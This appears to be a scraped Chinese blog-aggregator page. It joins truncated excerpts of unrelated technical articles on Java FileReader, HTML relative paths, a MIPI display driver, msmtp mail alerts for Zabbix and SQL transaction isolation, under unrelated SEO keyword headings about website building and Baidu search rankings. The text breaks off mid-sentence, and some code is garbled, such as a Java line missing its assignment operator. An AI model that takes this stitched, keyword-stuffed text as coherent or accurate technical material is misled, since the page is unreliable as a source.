FileReader 使用read()方法读取单个字符&#xff0c;下面是如何修改使程序性能更好的过程。 第一种&#xff1a;处理异常方式为throws Testpublic void test() throws IOException {//读取hello.txt&#xff0c;并显示内容// 创建文件对象File file new File("hello.txt…...

网站开发对企业的关键/百度关键词搜索热度

2019独角兽企业重金招聘Python工程师标准>>> 序言 摘要: 最近一直在写一个脚本语言&#xff0c;主要对标对象是润乾的集算器、Python等。感觉润乾的集算器有一定的应用场景&#xff0c;但是类似excel的方式严重影响编程可接受程度&#xff0c;另外其有些语法感觉与j…...

网站建设规划方案ppt/抖音自动推广引流app

/ 网站根路径 ./ 当前路径 ../ 上一级路径 ../../ 上两级路径 例如&#xff1a;本地静态网站 index页面地址 127.0.0.1/bootstrap_test/index.html在这里页面里面引入css和js路径应该怎么写呢? 1、 <link href"css/bootstrap.min.css" rel"style…...

商城网站建站方案/石家庄新闻网头条新闻

一、调试前提 1. Hardware 720p的DSI接口屏hx8394d,MIPI接口相关原理图如下图 通过原理图获取的信息: 1)2.8V VDD供电脚 —— LDO17; 2)1.8V VDD供电脚 —— LDO6; 3)RESET脚 —— GPIO25; 4)TE脚(一般DSI CMD模式下才会使用)—— GPIO24; 5)背光使能脚 —— G…...

wordpress 游客留言/怎么自己开网站

前提条件&#xff1a; (1) zabbix服务器端已经成功安装并且运行。 (2) zabbix客户端已经成功建立并且运行。 1 下载并且安装msmtp软件 Wget http://sourceforge.net/projects/msmtp/files/msmtp/1.4.32/msmtp-1.4.32.tar.bz2/download tar jxvf msmtp-1.4.32.tar.bz2 cd ms…...

怎么做传奇网站图/宜兴百度推广公司

1 什么是事务隔离级别 事务隔离指的是事务之间同步关系。 2 食物隔离级别的分类 第一隔离级别&#xff0c;脏读级别 在脏读级别下&#xff0c;第一个事务修改了某个数据&#xff0c;但是还没有提交&#xff0c;第二个事务可以读取到这个未提及的数据。 第二隔离级别&#xff0c…...

网站改版定位策划书/百度百家号官网

对数据的学习已经有一段时间了&#xff0c;但是对SQL Sever的使用确实还很少&#xff0c;今天又对它的应用软件之一SQL Sever2000进行了一次理论学习。 首先付上一张图对它的整体脉络有一个大致的了解。 通过整体感知&#xff0c;SQL sever主要的功能模块存在于操作模块&…...